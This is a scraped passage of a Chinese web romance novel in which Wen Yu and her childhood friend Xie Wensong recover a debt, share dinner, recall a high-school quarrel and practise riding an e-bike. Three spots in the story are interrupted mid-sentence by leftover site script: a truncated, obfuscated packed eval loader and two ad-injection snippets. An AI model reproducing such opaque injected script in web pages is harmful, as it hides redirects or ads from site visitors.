前三个字冒出来的一瞬间,她都吓一跳,玻璃外是不断闪过拉成条的彩色广告,好像逐渐模糊成某个人的影子。 昨晚程以桉提了句陆星桓之后,其实还提了他。 “或者你找谢闻颂,你家竹马本事也挺大的,这事儿他没准能搞定。” 本事挺大的。 温遇眨眨眼。 是吧。 - 不出意外,因为没有提前预约,温遇止步在一楼前台。 她脸上没有丝毫不满,被拒绝后还礼貌客气对前台小姐姐说了句谢谢,转身走到大楼旁边绿荫下的长椅坐下。 昨晚雨后,今天天气放晴,长椅上的雨水已经晾干,只是椅子腿儿被阴影笼罩的位置还有一圈深色水渍。 虽然才下过雨,太阳倒仿佛是被洗刷的得更干净一样,日光落到身上,体感温度还是高得不行。 她刚想把头发扎起来,摸了半天挎包没找到一根皮筋,想起今早套在手腕上的发圈在洗脸的时候被打湿,此时正放在挂钩上晾着。 摸皮筋的手拐了个弯去摸手机,刷朋友圈的时候却没想到一直等待的人竟然出现在这。 陆星桓五分钟前的一条朋友圈,一张图片。 她眼尖,也可能是因为印象太过深刻,正是那束卡罗拉玫瑰。 花束被放在桌子上,上面盖一层黄色格子的桌布。 光线温柔,构图完美。 是可以直接保存下来当背景图的程度。 她放大图看了一会儿,直到手机都开始发烫。 心口一直压着的东西仿佛更重,温遇直接将手机锁屏扔回包里。 上次中暑熟悉的感觉如潮水漫上来,她从包里找到瓶藿香正气液,将吸管尖锐的一头插进橡胶封口。 嘴里消化这股强烈的味道,她睁了睁眼。 温遇指腹挤压酸涩眼角,目光聚集于地上的一个小点发呆。 直至视线里出现一双鞋。 将阴影踩在脚下。 一秒,两秒,都没有走开。 再不走灰都要落上面了。 温遇抬头,对上张熟悉的脸。 下巴冷白窄瘦,眼梢锋利,一贯唇线平直模样,不笑的时候冷峭疏离,看见她的时候倒是时常上扬。 头发不像之前晚上在门口看见他时蓬乱如小狗,不捯饬的时候都帅得不行。 她视线往下,顺着领口半掩的锁骨往下,深色衬衣袖口半挽,下身杏色休闲裤。 捯饬一下,更了不得了。 温遇突然想到了采访的事。 她怎么没被安排跟着那波人。 手腕上的表她瞟一眼就知道价格不菲,温遇明知故看,继而抬头望着谢闻颂,疑惑道—— “我也没吃见手青啊。” “……” 对面表情没什么大变化,似是已经被她噎习惯了,温遇将头转到另一边,这才确认这不是幻觉。 “你怎么来了?” 谢闻颂没回她,只是蹲在她面前,手指捏住她胸前的工作牌,看了两眼便移开,紧接着落到她的脸上,还是不发一言。 这样的目光,忍不住让温遇呼吸快了几分。 工作牌是刚才和前台小姐姐说明自己身份时候拿出来套在头上的,出来之后没注意也就没摘。 上面的照片还是大一入学前拍的,那时候的刘海比现在厚,笑容带着股清澈的傻气。 谢闻颂不说话,她也不说话,迎上高度差骤减的目光,茫然眨几下眼。 盯了她几秒,谢闻颂撑着膝盖站起身,鞋尖往前挪了点。 温遇感觉到他往前走,一抬眼,他却绕开走至她身后,从口袋里像变戏法一样拿出根发绳。 温遇嗓子眼还有股藿香正气液发苦的气味,谢闻颂给她扎头发,她也乖乖坐着没动。 谢闻颂不太有给女孩子绑头发的经验,他把表解开放进兜里,手指拢着她两鬓的碎发往后带,干燥的指腹擦着她的脸,感觉痒痒的。 “谢闻颂。”温遇瓮声瓮气唤他名字。 “嗯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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女孩没反应过来,下意识往后躲了一下,头差一点撞到玻璃窗户,谢闻颂目光微顿,没所谓收回手:“我今天上午去找你,程以桉说你要债来了。” “……” 温遇不决定跟他纠结这件事,只是一本正经和他说:“那也不用你来还。” “谁说是我还了?”谢闻颂将正亮着的手机屏幕给她看:“看见没,这是聚星的老板,跟林思睿的朋友有点交情。” 聚星是艾雯所在的公司。 林思睿的朋友? 温遇大脑飞速运转。 “谁?” 温遇心中仿佛已经知道答案,黑黝又透亮的双眼一眨不眨。 以往软妹子的形象在此刻认真起来竟然有点褪色,好似什么糊弄人的话都骗不过她。 谢闻颂收回手机,手指关节敲在方向盘上,节奏一点规律也没有。 他笑:“问这么详细干嘛,欠你的钱肯定会帮你要回来的。” 温遇面色不变,还是那么执拗望向他,仿佛一定要那个真正的答案。 “……” 谢闻颂啧了声,似是被这股执拗劲儿打败,“是我。” 猜测被证实,温遇却一时无言。 她不社交恐惧,虽然好朋友不多,可都是真心对她的,也正因为如此,她其实很不愿意用自己的私事占用他们的时间精力。 她习惯事情自己解决,心情自己消化。 昨晚和陆星桓说,也是有私心的成分在。 她没想到的是,没等到陆星桓的回复,却先等来了谢闻颂的撑腰。 “别想那么多。”谢闻颂食指曲起敲她脑门,“我还等你下个月房租养活自己呢。” 原本凝滞的气氛被这句话一扫而空,温遇有时候还挺无奈谢闻颂这种感动之后忽然破坏气氛的语言能力。 “我好像,欠你很多。” 小姑娘窝在副驾驶,闷闷来了句。 谢闻颂不以为意,将温遇发过来的账单保存好:“嗯,毕竟债主不是白当的。” 温遇想起这沓厚厚的人情,无措地抿唇。 “这不得债一辈子啊。” 她看向窗外茂盛的树,油绿的叶子都耀眼,没注意旁边驾驶座的人敲字速度慢下来,原本低头看屏幕的脸抬起,饶有兴致地瞄了她一眼,又克制收回。 那一眼在温遇没有察觉的时刻涌现出雀跃,像夏天燥热喉咙咽下的第一口柠檬冰茶。 “债一辈子就债一辈子呗。” “我又不是债不起。” 15.鱼鱼 15/ 事情比想象中顺利,温遇地铁上还在打草稿,结果这事没见到艾雯就解决了。 她让谢闻颂把车停在附近的一家超市门前,进去采购食物的时候,钱已经打到她的卡里。 分毫不差。 超市位于商场地下一层,谢闻颂把车停在地下停车场,和她一起往超市走。 温遇随手从工作人员那拿了辆购物车,挑水果的功夫就被某人推到自己的位置上。 她想接过来,他手一躲,没让。 温遇挑挑拣拣买了两大购物袋的食物,谢闻颂从超市门口拎到停车场,走到车前停下,转头:“我车钥匙在兜里,帮忙拿一下。” “噢。” 温遇靠到他身边,从近侧的裤兜摸进去,谢闻颂今天穿的裤子没什么弹性,口袋紧贴大腿,她手滑进去的时候指尖下意识摸,正分辨口袋里的东西。 “嘶。” 头顶有轻微的抽气声,温遇仰头,下巴刚好磕在他肩膀上,边摸边疑惑:“你腿上受伤了?” 女孩白净的下巴颏儿要往他肩膀上抵,像是有意无意较着劲。 谢闻颂的眼睛一眨不眨低头看她,似乎要从温遇的看向自己的眼神里寻出点什么别的情绪,可惜,她是真的什么都不懂。 有时候机敏得像只兔子,怎么懵懂的时候也那么像兔子。 谢闻颂只好兀自叹气,拿开垂在另一侧裤兜的手:“没摸着那就往这边儿口袋看看。” 温遇又从他身后绕过去,伸手钻进另一个口袋。 这次顺利摸到车钥匙,温遇拉开后面车门,谢闻颂把两袋子食物放在后座上,这才走到驾驶位置把门拉开。 温遇正偏头系安全带:“谢闻颂,你不是说今早有事找我吗?” “嗯。”谢闻颂明显没要继续往下说的意思。 “是什么。” “今早核桃说,它周末太无聊了,想来找你玩。” ? 温遇偏头憋笑,停车场昏暗的灯光如同浅色月光薄薄一层铺在车里,并不太能看清谢闻颂眼里的情绪。 “你就这么甩锅给核桃?欺负它不会说话。” 谢闻颂单手抹着方向盘转弯,语气淡淡。 “谁说它不会说话的?天天早上嗷嗷叫唤让我给它添狗粮。” “一两次稍起晚了点,就改成每天蹲我床头,就差直接坐我脸上了。” “……” 温遇决定还是换个话题。 “谢闻颂,你下午在家吗?” “怎么。” “晚饭,要不要来我这吃?” 谢闻颂后知后觉想起后座上的两大袋食物,似乎笑了下:“你早就想好了?” “你帮我把钱要回来了,我也不能什么都不做吧。”温遇一本正经,颇有股认真劲,“我这个人很——” 她顿住,最后找个有点牵强的词形容:“赏罚分明的。” 空气凝滞几秒,被谢闻颂的笑声打断,给了句相当有分量的评价。 “嗯,不愧是公主,说起话来都这么霸气。” 温遇看了他一眼。 怎么这么像阴阳怪气呢。 - 温遇到家才发现门口摆放整齐的拖鞋,打开手机看到程以桉的信息,说是下午有事要提前走,等下次有机会再来住几天。 这才住了一晚上。 心底飘散几分失落。 温遇回复完她之后弯腰把拖鞋收起来,拎着两个袋子往厨房的方向走。 分量不轻,她分两次放在大理石台面上,转身回卫生间打开水龙头洗脸。 防晒在脸上抹了一天,回到家要及时洗掉,不然残留时间长不太舒服。 温遇刚上大学买过几样看测评选择的化妆品,结果用的时候起了过敏,从此以后她就特别注意这方面。 把粉白色的兔子发带刚推到头顶,门口传来敲门的声音。 她脸上的水都没擦,就跑去门口开门,门外站着一身家居服的谢闻颂,手里牵着根狗绳。 一人一狗,默契看她。 谢闻颂盯住她头顶的发带几秒,然后落到对方脸上:“我来给你打下手。” 温遇把门打开让对方进来,“食物在厨房,我等会儿就来。” 谢闻颂看她趿拉拖鞋快步走的模样,头顶兔耳朵一晃一晃,让他没忍住想去捏两下。 等温遇洗完脸,又把卧室和沙发简单收拾了下,注意到核桃趴在茶几旁边,见女孩过来用毛绒绒的身体蹭她的小腿,温遇顺势弯身撸了把核桃,这才往厨房的方向走。 谢闻颂正在洗菜,手指揪下番茄上的蒂,转身正要往垃圾桶里扔,却被身后人吸引视线。 温遇注意到他家居服上的浅浅水渍,手里拿着一个崭新的围裙。 见他目光紧盯着自己,温遇索性直接展开围裙,双手举高,中间的口袋上印着一只情绪稳定的卡皮巴拉。 “前两天新买的,缺一个试用人。” 温遇从侧面探出头,突然露出抹狡黠的笑,“要不你试试?” 话虽这么说,她却并不觉得谢闻颂会接受,感觉除了那天看到他新换的微信头像之外,很少能有别的和可爱沾边的东西与他有关。 这人应该是比较想给自己树立一个硬汉的形象才对。 所以她也只是习惯性的“捉弄”。 “行,你给我穿。” 谢闻颂挑眉,侧身把手上的番茄放到瓷盘中,从塑料袋里拿出第二个时,温遇还没动作。 “不是你让我穿么。”谢闻颂见她发愣,往后面的台子上一靠,垂在身侧的双手打开,回一个没什么脾气的笑,“怎么不过来。” 过来就过来。 此刻那股不服输的劲儿又漫上来,温遇捏着围裙边儿,想将挂带套在他脖子上:“你低点头。” 谢闻颂配合,低垂的眼正好可以将面前的人一览无余,后背抵住大理石台面的棱,双侧手臂虚环住她,说不上是什么心情。 总之挺紧张的。 毕竟他现在手心竟然有点出汗。 心率也快得不像话。 温遇凑近的时候,两个人上身的衣料划过轻微摩擦,谢闻颂就这么看着她,有棱有角的喉结上下滚动,耳根也仿佛燃了团火,不断蔓延。 明明是他故意的。 现在感觉怎么“难受”的还是自己。 距离太近,温遇避无可避目光和他几分触碰,遮蔽月亮的云层散开,温柔月光一下子铺满湖面,和表面的每一处涟漪完美镶嵌,轻柔又潋滟。 温遇往后退了半步:“你转过去,后面还要系。” 从谢闻颂腰侧捞起两根绑带,温遇手很快地系了个蝴蝶结,抬头往他肩颈看,有一瞬间恍惚。 高中时候,少年的脊背还很单薄削瘦。 如今已经宽阔到可以独当一面,无畏风雨。 然后发现,他们已经不知不觉间各自长大,和小时候的模样也越来越远,形成一段只能永远怀念的距离。 这是成长所不可弥合的时差。 “好了。”温遇松开手,从下面的橱柜里拿出米,倒进电饭锅内胆里。 头上似乎有什么东西坠下来,温遇没在意,一只手从旁边横过来,帮她把发带上耷拉下来的兔耳朵扶上去。 无人看见的角落,某人因为实现了刚才的小小愿望而没忍住弯起唇角。 今天好像和以往,有点不一样。 …… 温遇厨艺不差,之前上大学她也在外面租了个一居室,周五下课之后路过菜市场也会买点回去做,这套厨艺没怎么拿出来给别人尝过,哪怕是她爸妈,也基本不清楚她在这方面的能力。 习惯了自己一个人做饭吃饭,这次这顿倒是和以往有所差别。 谢闻颂的刀工比她好,下刀动作利落,这也让她少了很多忙碌的时间。 最后看面前的一桌菜,温遇倒是扬起几分和平时不太一样的心情。 饭后,谢闻颂主动包揽洗碗工作,她没拒绝,只是从冰箱里拿出两盒草莓酸奶,在客厅沙发坐下。 茶几上放着手机,温遇拿起,程以桉给她发了不少消息。 温遇用塑料勺挖了口酸奶,顺手点开程以桉的语音条。 【我刚忙完来找你说,你今天看见谢闻颂没。】 【我今天刚醒,顶着个鸡窝头给他开门,一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 上来就问你去哪了。我愣是缓了半分钟才反应过来,就把你昨天发生的事告诉他了。】 后面的声音弱下去,温遇却明白这样的原因。 小鱼丸了:碰见了,他帮我把钱要回来了。 对面秒回语音。 【那就好。】 【你都不知道,我把你昨天那事说完之后,谢闻颂那个表情呦,虽然没看到什么情绪波动,不过浑身上下散发的冷气我估计搁北极都能感觉到,差点吓死我。】 【感觉和大佬说话,多多少少得有点心理素质。】 温遇没忍住笑,指尖摁着语音给她回:“你想多了,没准谢闻颂他本身就长了张冷脸。” 程以桉:嚯,他这是不在你旁边,你才这么说。 温遇下意识看了眼厨房的方向,继续语音发送:他其实现在在我家。 对面连续几个问号断着发,差点给她手机卡成死机。 死丫头至于这么激动。 温遇咬住塑料勺,双手打字。 小鱼丸了:所以现在,你知道谁才是大佬了吧。 这条消息刚发过去,谢闻颂就从厨房走出来,正拿纸巾擦拭湿漉漉的指缝。 温遇随手捡了个抱枕搂在怀里,看见往这边走的人,眼神不自觉往他身上瞟。 谢闻颂明显在家里也这么穿,也许是自己在家比较随意,连衣服都宽大许多,胸前扣子还解开两颗,什么都遮不住。 温遇越看越觉得不对劲。 他们两个现在的状态,怎么看怎么不对。 想到这,她谨慎地直了直身,原本盘着的双腿也放下来。 谢闻颂像是什么也没察觉到一样,走过来隔一个人的位置坐在她旁边。 电视没开,客厅一下子安静下来。 温遇把桌子上另一盒草莓酸奶拿给他,对方接过,却没有拆开包装的打算。 就当温遇以为他就这样一直沉默下去的时候,手机语音电话的振动在身旁震了她一下。 她不用点开,看见主屏幕的名字,后背不受控地僵住。 脚上套住拖鞋,温遇扭头,下意识道:“谢……” “温鱼鱼。” 喊她的人连头都没转,只是在说完“温鱼鱼”这三个字的时候,才扭头看她。 不同于吃饭之前的轻松,谢闻颂的表情透着股认真劲儿,额发因为沾水撩开,这也就更能看清他的眼睛。 平时只有笑起来能柔和几分的眼睛,此刻全是专注和认真。 因为他总在温遇面前是笑着的,所以她有时间也会恍惚,这个人本身并不温和。 青梅竹马的情谊。 是他对她独有的放纵。 温遇手里握着的手机还在不停振动,可是她刚才的话顿时说不下去。 “今天的事假如我没知道,要是你没解决,你是不是不会来找我。” 谢闻颂看着她,没有等对面的回答,也或许是并不需要她回答什么,仿佛只是自言自语,并不在意对面多一人。 “我要是没说那句撑腰,你会不会以为,今天在聚星楼下,遇见你只是一场巧合。” “现在我告诉你。”谢闻颂说到这,并不像刚才那样严肃,举起酸奶晃了晃,勾唇笑。 像在说一件可以坦然讲出来的秘密。 “不是的。” “是我想给你撑腰。” “而且你等得到,因为我会来。” 谢闻颂离开以后,温遇才给陆星桓回消息。 原来他刚才想帮自己问昨天那件事的时候才知道,她已经解决了。 看见对面发过来的“抱歉”二字,温遇还没整理好的思绪更加五味杂陈。 她认真道谢,对方也没有继续纠结,扯两句家常便结束对话。 还剩半盒酸奶放在茶几上没吃完,温遇刚要去拿塑料勺,手机提示音又响起来。 Song_:还有,温鱼鱼。 Song_:下次说别人“坏话”的时候最好隐蔽点。 Song_:我对你冷脸过? 温遇看到这认真回想,还真发现一件事,和冷脸有关。 只是不知道谢闻颂还记不记得。 16.鱼鱼 16/ 温遇记事以来,谢闻颂一直对她很好。 要问这种好是什么程度,温鱼鱼认真思考之后,慎重给出一个答案—— 那应该是相当有分量的好。 拌嘴也有过,争吵也有过,不过都作为成长的调味剂,温遇倒没有什么特别印象深刻的事。 这些自然不能称之为“冷脸”。 温遇相对来说是个不在意过去小打小闹的人,她对很多快乐的回忆历历在目,所以在想谢闻颂口中的“冷脸”时,印象挺深刻地摸出一件事来。 中考过后,温遇、谢闻颂和林思睿的成绩都过了重高线,他们三个人的初中成绩都还不错,上个不错的学校基本属于稳定发挥。 谢闻颂的中考成绩在市里排前五十,刚出成绩就被南川附中高中部的老师打电话,问可否签约他们学校的实验班。 中考前谢闻颂有和乔若琳说想直升南川附的想法,毕竟初中这三年虽然和高中部不在一个校区,不过学校整体师资和环境都很好,中考前他们还去高中部的校区举行百日誓师,总体占地面积要比初中部更大。 乔若琳当时还问他:“初二时候你们班主任侯老师不是说凭你的成绩可以转到直升班,那时候你怎么没同意?” 谢闻颂沉默下来,指尖转起笔,最后只说了句:“我靠成绩也能考上。” 不知道儿子和什么较劲,乔若琳也没多说,和谢景舟秉持着支持孩子决定的观念,一路将他送进考场。 成绩出来,相比父母的激动,谢闻颂倒像有别的心事,晚饭吃完之后跑到隔壁,遇见一脸愁容的温遇。 她正在为演唱会的事情担心。 谈起中考成绩,温遇则是像打开了另一个开关,情绪高涨不少,说自己过了重高线,考南川附中问题不大。 心里的某个疑问得到解答,谢闻颂明显也放松下来。 回家的时候,和妈妈说自己同意提前签约南川附,脸上有了笑容。 高一刚上来不会立即分科,大大小小九门科目压得人喘不过气,实验班和普通班不同楼,他们也只有上学和放学的时候能够遇到。 温遇家里的司机因为女儿要生孩子请了大半年的假,所以她每天会和谢闻颂坐他们家的车回去。 实验班有时候要晚放,温遇就自己在班里写作业,等谢闻颂放学之后下楼路过会喊她。 就这么一直到高一下学期。 温遇不怎么爱八卦,但架不住周围有八卦的人。 课间休息的间隙,同学之间传着两个人名,其中的一个是她最熟悉的名字。 偶尔班里同学放学留下来做值日,看见谢闻颂在他们班门口等温遇,加上这事儿和前者有关,就有人朝她八卦。 青春期正是荷尔蒙躁动的时候,同学之间除了学习,经常讨论的就那一两点事,大家心里都门儿清。 而温遇早就在之前休息的时候听见了点风声,大概也能猜到这是什么事。 但她凭借对谢闻颂的了解,“早恋”这两个字应该和他没什么太大的关系,所以能传出来这样的消息,她也有点惊讶。 谢闻颂这人虽然不太热络,但也不会让和他说话的人冷场,智商情商双双在线。给人一种有距离但是又不会觉得对方太过矜傲,分寸拿捏得相当好。 加之外貌上的优势,在大家都灰头土脸地埋头学习时,这人倒显得不紧不慢,小小年纪活得就有自己的一番道理。 一边保持成绩,一边慢条斯理把自己休闲时间安排好,有自己的运行节奏。 时过境迁,温遇已经不太能想起当时具体的事情经过,只记得那天她仍旧在班里边写作业边等谢闻颂。 和往常每个放学的日子并无太大差别。 听见熟悉的声音喊她名字,温遇这才把手上的本和笔收进书包,像以往每个日子一样跟在谢闻颂的身后。 谢闻颂单肩挂着书包带,走到拐角楼梯的时候脚步停下,转身:“为什么总是走我后面?” 温遇正拿着手机,差点直接撞上谢闻颂后背,连问题都没听清,只能二声嗯了一下。 谢闻颂朝自己左边的位置歪了下头:“走我旁边来。” 没走两步,微信里弹出新的消息,温遇往下滑着屏幕,和往常一样闲聊的语气开口:“谢闻颂,听说你谈恋爱了?” 身旁没声音,温遇这才把视线从屏幕上挪开,用疑惑的目光瞄向旁边的人。 感觉到温遇放下手机朝自己看,谢闻颂微微侧目,脸上没什么表情,反抛给她一句:“你觉得呢?” “我没和你一个班,我怎么知道?” “那你每天上学放学和我一起走,我有什么变化你不知道?” 实话实说,谢闻颂问出来这话她是有点心虚的。 毕竟她每天上学放学的时候,谢闻颂都没怎么说过话,要么戴耳机做英语听力,要么靠在后座上闭目养神。 温遇瞅见几次之后,也学着他利用这段零碎的时间学习。 不过和谢闻颂的超前预习不同,她是利用时间补作业。 高一刚开学那会儿,知识进度跨度太大,而她在暑假看完演唱会回来作业都是最后几天补的,要不是谢闻颂带着她,作业都写不完,更别提预习多么夯实。 每天作业写到晚上,卡着睡觉点把练习册和卷子收进书包,第二天早上接着在车上啃。 被谢闻颂抓到过几次,温遇还以为是自己吵到他,结果这人却取下耳机带着她一遍遍过难啃的题。 练习册的纸都被橡皮擦薄。 好几处谢闻颂用铅笔写的批注她都没舍得擦。 后来温遇慢慢跟上来,两个人继续各自的学习节奏。 所以谢闻颂问她自己有什么变化的时候,温遇并不知道。 女孩眼里的困惑和迷茫呼之欲出,少年压低视线,落在她的手机挂绳上,不再说话。 仿佛在和什么东西较劲一样。 夏日午后阳光灼热,热风闷得人几欲窒息,身处在其中,仿若困兽。 温遇又问了一遍。 “所以,你早恋了吗?” 两个字戳中谢闻颂的某根弦,他揣着手,努力把语气压平静:“温遇,你能不能别再管我的事了。” / 那之后,温遇有认真反思过,觉得谢闻颂应该是被自己问烦了,但经过类比,她问他学习上的问题,谢闻颂从来没有这样过。 所以她得出结论—— 谢闻颂在感情这方面的事上应该比较敏感。 也许是并不喜欢别人问这样私密的事情,温遇在之后也没再问过,恪守朋友之间的界限。 不过那之后,她便很少从身边同学口中听到谢闻颂的其他八卦,只是有人感慨这人在理科班成绩仍旧名列前茅,是老师看好的重点苗子。 而和他两个楼的温遇,就像是再长大一点时间自动划开的线,此后沿程描摹,刻画各自的年轮。 - 温遇再回过去消息的时候,直到临睡觉谢闻颂都没回复,她不太能拿捏对方看到她这条消息的心情,没等到回复,只好告诉自己对方已经休息。 她把手机放在床头,正要把被子往上掀,程以桉卡点发来信息。 说是昨天载她俩的那辆电动车停在地下室了,温遇问她什么时候过来取,程以桉大方回一句送你了。 温遇以前没骑过电动车,程以桉哎呀一句,说上手很容易的。 明天有时间,温遇想了会儿,打算去试试。 睡前照旧检查了闹钟的设置时间,才发现明天是周日。 关掉死亡闹铃,温遇又上线给自己游戏上的每日奖励和任务完成,这才踏实把手机熄屏。 第二天自然醒,照例把家里打扫一遍,把昨天刚到的快递包装拆开。 是一个落地白色格子书架。 温遇买来,本打算放在客厅靠窗户的位置,此刻那儿正放着一个纸箱。 正是回家那天谢闻颂收拾她书桌清出来的几本厚重相册,每本还都有纸盒包裹防撞角,她这几天工作每个细胞都快质壁分离了,天天回家洗漱完就躺床,没功夫管这箱相册。 今天终于有时间,温遇自己组装书架,说明书不难看懂,只是少了样工具。 坐在地上想了会,她给谢闻颂发消息,问他家有没有螺丝刀。 过几分钟,门被人敲响。 温遇过去开门,目光示意门口的人进来,“你今天醒得挺早,是不是被我的消息吵醒了?” 她今早原本想睡个懒觉,奈何生物钟醒过一次就没再睡着,刷了会儿手机还是决定起床。 谢闻颂单手提着纸袋走进来,半转身子食指拉上门,手掌扶在门框上,语气慢悠悠,像在说一段有伏笔的故事。 “怕我没看见你消息,就又变成不回你消息的‘冷脸债主’了。” “……” 这么记仇啊。 见温遇一脸无语吃瘪的表情,谢闻颂强将着把自己那股逗弄的心思歇下来,若有思索地问:“不过我当时,真的很冷脸吗?” 这人一贯顶着副好皮囊把自己的坏心思完美藏好,温遇没被蛊惑,暗自留点个心眼:“也没有吧,就相比其他时间稍微冷了那么一点点。” 谢闻颂把手里的纸袋放地上,从里面把自己家里能用到的工具都找出来,注意到温遇刚拼了一点的书架,没接刚才的话:“装这个?” “嗯。”温遇递给他一个花朵毛绒坐垫,自己刚要去拿螺丝刀,被谢闻颂挡住:“纸袋里有柠檬茶,拿出来喝。” 温遇愣了两秒,谢闻颂已经拿起螺丝刀帮她拧白色板子上的螺丝。 这人眼睛都没移开,却把一部分注意力放在她身上:“外面晒了半天,再不喝估计里面冰块都快化掉了。” “噢。” 温遇手指勾上纸袋绳,把里面环着杯套的柠檬茶拿出来,塑料吸管插上,她瞄了眼对面的人,伸手:“你喝吗?” 刚才一直闷头拧螺丝的谢闻颂听到这才抬头,看了眼柠檬茶又错开目光看向她的脸。 眼神里含着探究,又似乎带了点看破她心思的揶揄。 “我不喝。” “有这份心就行。” 温遇平心讲,自己的手工从小到大都不差,可是此刻感觉比起眼前的这个人还是差一截。 谢闻颂只是瞥了眼堆在沙发旁大大小小的零件就能直接上手拼,温遇盯着他睫毛看了会儿,正研究这人是不是用了睫毛生长水,想到什么,咬着吸管问他要不要说明书。 某人单手拿起长条形挡板,回了句不用。 也就半个小时,谢闻颂就把整个书架全都拼好,温遇从冰箱里摸出最后一盒草莓冰激凌递给他。 这次他没拒绝,撕开纸膜,用塑料勺挖了一口。 温遇把装着相册的纸箱挪过来,里面好几本都是徐翩禾小时候带她去拍的写真。 五六岁的时候她还略显稚嫩,等到十四五岁,少女身体刚开始有了抽条 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的苗头,四肢修长纤细,脸上的婴儿肥相比小时候也消退许多,五官逐渐趋于明显。 谢闻颂就坐在她旁边,不知看到哪张照片闷笑了声,温遇敏感察觉,扭头看他。 像只河豚。 “前几年那会儿你看这些照片的时候,还怪我是不是因为小时候老捏你的脸,所以长大婴儿肥还没消退——” 谢闻颂在她脸上看了一圈:“其实一直都挺漂亮的。” “有一点婴儿肥也很漂亮。” 温遇差点被嘴里的柠檬茶呛住,手上翻相册的速度加快,明显没有刚才自然。 刚才忍着股坏劲憋到现在,谢闻颂就那么看着她相册越翻越快,嘴角弧度根本压不下来,又挖了一勺冰激凌。 书架装好,温遇把几本相册按照高低顺序码进格子里,转身从椅背上拿了件外套。 “你还出去?” 温遇走到门口,从鞋柜上面的钥匙架上找到程以桉昨天留下来的电动车钥匙,闻言点头:“桉桉送了我辆电动车,我下去试试手。” 她正埋着头往自己的小挎包里放东西,放着放着感觉身旁边多了个人,专注如温遇,被吓了个激灵:“你——” 她以为谢闻颂还坐在沙发上呢。 “在家等我回来。” 温遇问了句:“你也去?” 那人走到门口,回头笑得很欠:“嗯,怕你撞到人了。” “温鱼鱼,我这是出于社会公共安全考虑。” “……” 温遇有一种想把他拍门上的冲动。 刚才那冰激凌里怎么没放能毒哑他的药水呢。 果然男人只有挂在墙上的时候才最老实。 谢闻颂回屋里换了套衣服,两个人一起去地下室把电动车推出来,蓝湾内部绿化做得很好,他们楼旁边就有个花坛,道路平整宽敞,有很大的空地可以练习。 这个时间路上基本没有车,谢闻颂把小电驴停到路中间,然后看向温遇,做了个请的手势。 后者勇敢往前迈一步,然后憋出来一句。 “第一步是什么来着?” “……” 谢闻颂从前面的铁丝筐里拿出个头盔,撩起眼皮,语气不咸不淡:“过来。” 温遇走到车旁边,谢闻颂给她戴好头盔,绑系带的时候凑她近了点,等她坐上车,谢闻颂往下俯身,两个人肩膀几乎挨在一起。 隔着头盔,外界传进来的声音都要过滤一层,温遇一直全神贯注听谢闻颂在说什么,并没有注意这点。 男人圈着编织皮革手链的那只手,分别指向电动车的左右把手。 “左边这个位置是刹车,右边是加速,你拧一下电门这个位置感受下速度。” “左边是后轮刹车,右边是前轮刹车。” “了解!” “你先简单操作一下,呆我身边别走远了。” 温遇扭头:“什么生煎?” “……” 经过长达四十分钟的教学,鱼鱼同学在谢老师的教导下基本掌握小电驴的骑行要领,戴着头盔的小脑袋在稳定骑行一段路之后开心得直晃悠。 像一株吸饱了光照的太阳花。 绕着楼一个人兜风打圈,最后重新回到起点,谢闻颂还在原地等她,温遇手上一拧停住小电驴,单手解开固定下颌的系带。 蹦蹦跳跳跑到谢闻颂旁边,竖起大拇指往身后的车身一指,做了个相当挑衅的动作,“怎么样?” 一副等着被表扬的模样。 女生笑起来的时候苹果肌饱满,头盔让她额头上闷出了汗,眼睛却是亮晶晶的。 弯起的眼睛宛若倒挂的月牙,笑容仍旧甜度满分。 爱神丘比特都得来她这借点快乐再走。 谢闻颂动作很轻地摸了下她的头盔,颜色像小兔子耳朵里柔软的粉。 “特别好。” 得到肯定,温遇重新把系带系好,将铁丝筐里的另一个头盔拿出来递到他面前。 “兜个风?” 谢闻颂还以为对方只是想带他绕着楼转一圈,结果没想到温遇直接开出蓝湾,沿着马路走。 出门口的时候,保安确认了好几遍他们是蓝湾的住户。 温遇也给保安大哥普及了一遍遍什么叫绿色出行。 开上大道,感觉肯定和之前不太一样。 谢闻颂在后座提供技术指导,冷不丁听见头顶的一声闷雷,豆大的雨点一滴两滴砸下来。 温遇握着车把的手肯定也感觉到了,火速找了个有棚的地方停车,然后拽着谢闻颂躲进便利店。 夏天的雨总是突如其来,噼里啪啦砸得地上都跟着起了雾,温遇心虚地看了眼谢闻颂,突然不说话了。 感觉像拉另一个人下水。 “反应挺快。”谢闻颂帮她把系带调松,自己反倒先笑起来,“来都来了,先吃点东西吧。” “不过便利店可没有生煎,你要吃别的我倒还能满足你。” 他这么一说,温遇也没忍住笑:“那今天我请客。” “怎么还带抢着请客的。” 谢闻颂目光落在女孩肩膀,外套被淋湿了一点,语气柔和:“放心吧。” “就算我请客,也不会冷脸的。” 对面笑骂:“谢闻颂你烦不烦。” 温遇心想。 一句话翻旧账那么多次。 这也不好哄啊。 嗯,看来债主还是有自己的傲娇。 17.鱼鱼 17/ 便利店里摆放杂志的位置正对着门口,温遇自然而然走近拿起一本,谢闻颂走到她旁边,想起什么,“看看有没有Mentha的,没准能在上面看见我。” 杂志外面包裹一层塑封,温遇手腕一转翻到背面,语气不紧不慢:“有你的部分大概在九十月才能看到,现在图片估计都压在摄影组的电脑里呢。” “……” 身边人不说话,就默默看着她在点完吃的之后又拿了一本杂志去结账。 窗外雨势不减,两个人挨着坐下,谢闻颂胳膊肘搭在桌边,另一只手食指点在封面上:“没想到当时彼此说好的梦想,只有你一个人坚持到现在。” 温遇一怔,扭头时谢闻颂已经低头去拆饭团的包装,她往前看,轻轻笑开:“你忘了,我最开始的梦想,并不是这个。” 谢闻颂捏住饭团的两角,睫毛垂下:“那你现在有后悔过吗?” 说到这个问题,温遇明显不纠结:“后悔什么?” “后悔当初没更坚定选择自己的理想。” “一时脑热和理想应该是有区别的,长大以后我也总在复盘,自己以后到底要去做什么。” 